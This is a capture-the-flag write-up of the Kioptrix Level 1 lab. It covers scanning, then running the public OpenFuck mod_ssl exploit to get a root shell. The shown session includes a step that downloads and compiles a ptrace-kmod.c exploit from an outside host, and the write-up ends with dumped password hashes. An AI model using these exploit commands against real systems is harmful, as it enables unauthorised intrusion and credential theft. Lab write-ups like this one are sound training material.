

Kioptrix-1

TARGET IP: 192.168.92.181

1. Here's the Nmap scan result:

```
# Nmap 7.70 scan initiated Fri Sep 27 15:42:00 2019 as: nmap -vv --reason -Pn -sV -sC --v
ersion-all -oN /root/toolbox/writeups/vulnhub.kioptrix1/results/192.168.92.181/scans/_qui
ck_tcp_nmap.txt -oX /root/toolbox/writeups/vulnhub.kioptrix1/results/192.168.92.181/scan
s/xml/_quick_tcp_nmap.xml 192.168.92.181
Nmap scan report for 192.168.92.181
Host is up, received arp-response (0.0011s latency).
Scanned at 2019-09-27 15:42:01 PDT for 273s
Not shown: 994 closed ports
Reason: 994 resets
PORT      STATE SERVICE      REASON          VERSION
22/tcp    open  ssh          syn-ack ttl 64  OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 35 1094820929536015309274469851438123775609256551942541702703803145208417768493356
28258408994190413716152105684423280369467219093526740118507720167655934779634416983599247
08684009950320380028152614356727186246605736370586176070266427929080443950264503458641257
0490614431533437479630834594344497670338190191879537
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAKtycvxuV/e7s2cN74HyTZXHxiBrwyiZe/PKT/inuT5NDSQTPsGiyJZU4ge
fPAsYKS5wLe28TDLZWHadXpNdwyn4QrFQBjwFR+8WbFiAZBoWLSfQPR2RQW8i32Y2P2V79p4mu742HtWBz0hTjkd
9qL5j8KCUPdfY9hzDuViWy7PAAAAFQCY9bvq+5rs10pY5/DGsGx0k6CqGwAAAIBVpBtIHbhvoQdN0WPe8d60zTTFv
dNRa8pWKzV1Hpw+e3qsC4LYHAY1NoeaqK8uJP9203MEkxrd20oBJKn/8EXlKAc07vC1dr/QWae+NEKI1a38x0Ml54
5vHAGFaVUWkfHekjhR476Uq4N4qeLfP5B+v+9fLxYVYsY/ymJKpNgAAAIEApyjrqqgX0AE4fSBFntGFWM3j5M3
lc5jw/0qufXlHJu8sZG0FRf9wTI6HLJHHsIKHA7FZ33vGLq3TRmvZucJZ0l55fV2ASS9uvQRE+c8P6w72YCzgJN7v
4hYXxnY4RiWvInjW/F6ApQEUC742i6Fn54FEYAIy5goatGFMwpVq3Q=
|   1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvv8UUsr07+VCG/rTWY72jElft4WXfXGwybh141E8XnWxMCu+R1
qdocxhh+4Clz8w09beuZzG1rjLAD+XHiR3j2P+sw6U0DeyBkuP24a+7V8P5nu9ksKD1fA83RyelgSgRJNQgPfFU3g
ngNnolyN6ossqkcMQTI1CY5nF6iYePs=
|_sshv1: Server supports SSHv1
80/tcp    open  http          syn-ack ttl 64  Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mo
d_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods:
|   Supported Methods: GET HEAD OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp   open  rpcbind       syn-ack ttl 64  2 (RPC #100000)
| rpcinfo:
|   program version  port/proto  service
|   100000    2             111/tcp    rpcbind
```

```
| 100000 2          111/udp  rpcbind
| 100024 1          1024/tcp  status
|_ 100024 1          1028/udp  status
139/tcp  open  netbios-ssn syn-ack ttl 64 Samba smbd (workgroup: HMYGROUP)
443/tcp  open  ssl/https  syn-ack ttl 64 Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/
2.8.4 OpenSSL/0.9.6b
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2019-09-27T22:43:54+00:00; +1m36s from scanner time.
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|_    SSL2_DES_64_CBC_WITH_MD5
1024/tcp open  status      syn-ack ttl 64 1 (RPC #100024)
MAC Address: 00:0C:29:45:0D:56 (VMware)
```

Host script results:

```
|_clock-skew: mean: 1m35s, deviation: 0s, median: 1m35s
| nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   KIOPTRIX<00>      Flags: <unique><active>
|   KIOPTRIX<03>      Flags: <unique><active>
|   KIOPTRIX<20>      Flags: <unique><active>
|   \x01\x02_MSBROWSE_\x02<01>  Flags: <group><active>
|   MYGROUP<00>      Flags: <group><active>
|   MYGROUP<1d>      Flags: <unique><active>
|   MYGROUP<1e>      Flags: <group><active>
| Statistics:
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 39938/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 50948/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 9166/udp): CLEAN (Failed to receive data)
|   Check 4 (port 32743/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_smb2-security-mode: Couldn't establish a SMBv2 connection.
|_smb2-time: Protocol negotiation failed (SMB2)
```

Read data files from: /usr/bin/./share/nmap

Service detection performed. Please report any incorrect results at <https://nmap.org/submit>

```
it/ .
# Nmap done at Fri Sep 27 15:46:34 2019 -- 1 IP address (1 host up) scanned in 274.07 seconds
```

2. Here's the summary of open ports and associated AutoRecon scan files:

#	Port	Protocol	Service	Scans
1.	22/tcp	ssh	ttl 64 OpenSSH 2.9p2 (protocol 1.99)	./results/192.168.92.181/scans/tcp_22_ssh_nmap.txt ./results/192.168.92.181/scans/tcp_80_http_gobuster.txt ./results/192.168.92.181/scans/tcp_80_http_nikto.txt ./results/192.168.92.181/scans/tcp_80_http_nmap.txt ./results/192.168.92.181/scans/tcp_80_http_robots.txt ./results/192.168.92.181/scans/tcp_80_http_whatweb.txt ./results/192.168.92.181/scans/tcp_111_rpc_nmap.txt ./results/192.168.92.181/scans/tcp_111_showmount.txt ./results/192.168.92.181/scans/enum4linux.txt ./results/192.168.92.181/scans/nbtscan.txt ./results/192.168.92.181/scans/udp_137_smb_nmap.txt ./results/192.168.92.181/scans/enum4linux.txt ./results/192.168.92.181/scans/smbclient.txt ./results/192.168.92.181/scans/tcp_139_smb_nmap.txt ./results/192.168.92.181/scans/tcp_443_http_nmap.txt ./results/192.168.92.181/scans/tcp_443_https_gobuster.txt ./results/192.168.92.181/scans/tcp_443_https_nikto.txt ./results/192.168.92.181/scans/tcp_443_https_robots.txt ./results/192.168.92.181/scans/tcp_443_https_whatweb.txt
2.	80/tcp	http	ttl 64 Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)	
3.	111/tcp	rpcbind	ttl 64 2 (RPC #100000)	
4.	137/udp	netbios-ns	ttl 64 Samba nmbd netbios-ns (workgroup: MYGROUP)	
5.	139/tcp	netbios-ssn	ttl 64 Samba smbd (workgroup: MYGROUP)	
6.	443/tcp	ssl/https	ttl 64 Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b	
7.	1024/tcp	status	ttl 64 1 (RPC #100024)	

3. We explore the various directories and files found with `gobuster` scan but nothing interesting is found:

```
gobuster -u http://192.168.92.181:80/ -w /usr/share/seclists/Discovery/Web-Content/commo
n.txt -e -k -l -s "200,204,301,302,307,401,403" -x "txt,html,php,asp,aspx,jsp"
http://192.168.92.181:80/index.html (Status: 200) [Size: 2890]
http://192.168.92.181:80/manual (Status: 301)
http://192.168.92.181:80/mrtg (Status: 301)
http://192.168.92.181:80/test.php (Status: 200) [Size: 27]
http://192.168.92.181:80/usage (Status: 301)
```

4. We fallback on Nmap version detection for `443/tcp` and search exploits for `Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b` using `searchsploit`:

```
searchsploit mod_ssl
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) | exploits/
unix/remote/47080.c
```

root@kali: ~/toolbox/data/writeups/vulnhub.kioptrix1 # ss mod_ssl	
Exploit Title	Path (/usr/share/exploitdb/)
Apache mod_ssl 2.8.x - Remote Denial of Service	
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow	exploits/linux/dos/24598.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)	exploits/unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)	exploits/unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)	exploits/unix/remote/47080.c
Apache mod_ssl 2.8.x - Off-by-one HTAccess Buffer Overflow	exploits/multiple/dos/21375.txt
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'openssl-too-open.c' SSL2 KEY_ARG Overflow	exploits/unix/remote/40347.txt
Shellcodes: No Result	
root@kali: ~/toolbox/data/writeups/vulnhub.kioptrix1 #	

Findings

Open Ports

22/tcp	ssh	OpenSSH 2.9p2 (protocol 1.99)
80/tcp	http	Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp	rpcbind	2 (RPC #100000)
137/udp	netbios-ns	Samba nmbd netbios-ns (workgroup: MYGROUP)
139/tcp	netbios-ssn	Samba smbd (workgroup: HMYGROUP)
443/tcp	ssl/https	Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp	status	1 (RPC #100024)

\newpage

Phase #2: Exploitation

1. We compile this exploit and check it's usage options. It requires a platform specific offset and provides mapping of supported offsets. We determine the required offset value for our target to be `0x6b` based on the Nmap version detection results for `443/tcp`. Once executed, the exploit successfully establishes an elevated, remote session with the target:

```
gcc -o 47080 47080.c -lcrypto
./47080
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
./47080 0x6b 192.168.92.181 443
```

```
root@kali: ~/toolbox/data/writeups/vulnhub.kioptrix1 # ./47080
```

```
*****
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*****
* by SPABAM      with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena    irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*****
```

```
: Usage: ./47080 target box [port] [-c N]
```

```
target - supported box eg: 0x00
```

```
box - hostname or IP address
```

```
port - port for ssl connection
```

```
-c open N connections. (use range 40-50 if u dont know)
```

```
Supported Offset:
```

```
0x00 - Caldera OpenLinux (apache-1.3.26)
```

```
0x01 - Cobalt Sun 6.0 (apache-1.3.12)
```

```
0x02 - Cobalt Sun 6.0 (apache-1.3.20)
```

```
0x03 - Cobalt Sun x (apache-1.3.26)
```

```
0x04 - Cobalt Sun x Fixed2 (apache-1.3.26)
```

```
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
```

```
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
```

```
0x6c - RedHat Linux 7.2-Update (apache-1.3.22-6)
```

```
0x6d - RedHat Linux 7.2 (apache-1.3.24)
```

```
0x6e - RedHat Linux 7.2 (apache-1.3.26)
```

```
root@kali: ~/toolbox/data/writeups/vulnhub.kioptrix1 # ./47080 0x6b 192.168.92.181 443
```

```
*****
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*****
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*****
```

```
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f8050
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo
--21:00:33-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]

0K ... 100% @ 3.74 MB/s

21:00:33 (3.74 MB/s) - `ptrace-kmod.c' saved [3921/3921]

/usr/bin/ld: cannot open output file exploit: Permission denied
collect2: ld returned 1 exit status
gcc: file path prefix `/usr/bin' never used

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

uname -a
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

/sbin/ifconfig
eth0 Link encap:Ethernet HWaddr 00:0C:29:45:0D:56
inet addr:192.168.92.181 Bcast:192.168.92.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1
RX packets:1332415 errors:50 dropped:192 overruns:0 frame:0
```

2. We can now read the `/var/mail/root` file to complete the challenge:

```
cat /var/mail/root
```

```
cat /var/mail/root
From root Sat Sep 26 11:42:10 2009
Return-Path: <root@kioptrix.level1>
Received: (from root@localhost)
    by kioptrix.level1 (8.11.6/8.11.6) id n8QFgAZ01831
    for root@kioptrix.level1; Sat, 26 Sep 2009 11:42:10 -0400
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root <root@kioptrix.level1>
Message-Id: <200909261542.n8QFgAZ01831@kioptrix.level1>
To: root@kioptrix.level1
Subject: About Level 2
Status: 0
```

If you are reading this, you got root. Congratulations.
Level 2 won't be as easy...

```
From root Fri Sep 27 18:24:05 2019
Return-Path: <root@kioptrix.level1>
Received: (from root@localhost)
    by kioptrix.level1 (8.11.6/8.11.6) id x8RM05r01426
    for root; Fri, 27 Sep 2019 18:24:05 -0400
Date: Fri, 27 Sep 2019 18:24:05 -0400
From: root <root@kioptrix.level1>
Message-Id: <201909272224.x8RM05r01426@kioptrix.level1>
To: root@kioptrix.level1
Subject: LogWatch for kioptrix.level1
```

LogWatch 2.1.1 Begin

LogWatch End

Phase #2.5: Post Exploitation

```
root@kioptrix.level1> id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
root@kioptrix.level1>
root@kioptrix.level1> uname
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
root@kioptrix.level1>
root@kioptrix.level1> ifconfig
eth0 Link encap:Ethernet HWaddr 00:0C:29:45:0D:56
    inet addr:192.168.92.181 Bcast:192.168.92.255 Mask:255.255.255.0
    UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1
```

```
RX packets:1332326 errors:50 dropped:192 overruns:0 frame:0
TX packets:1237378 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:165986159 (158.2 Mb) TX bytes:170994218 (163.0 Mb)
Interrupt:9 Base address:0x2000
root@kioptrix.level1>
root@kioptrix.level1> users
root
```

\newpage

\newpage

root

Hashes

```
root:$1$XR0mcFDX$tF93GqnLH0JeGRHpaNyIs0:14513:.....
john:$1$zL4.MR4t$26N4YpTGceB00gTX6TAky1:14513:.....
harold:$1$Xx6dZd0d$IM0GACl3r757dv17LZ9010:14513:.....
```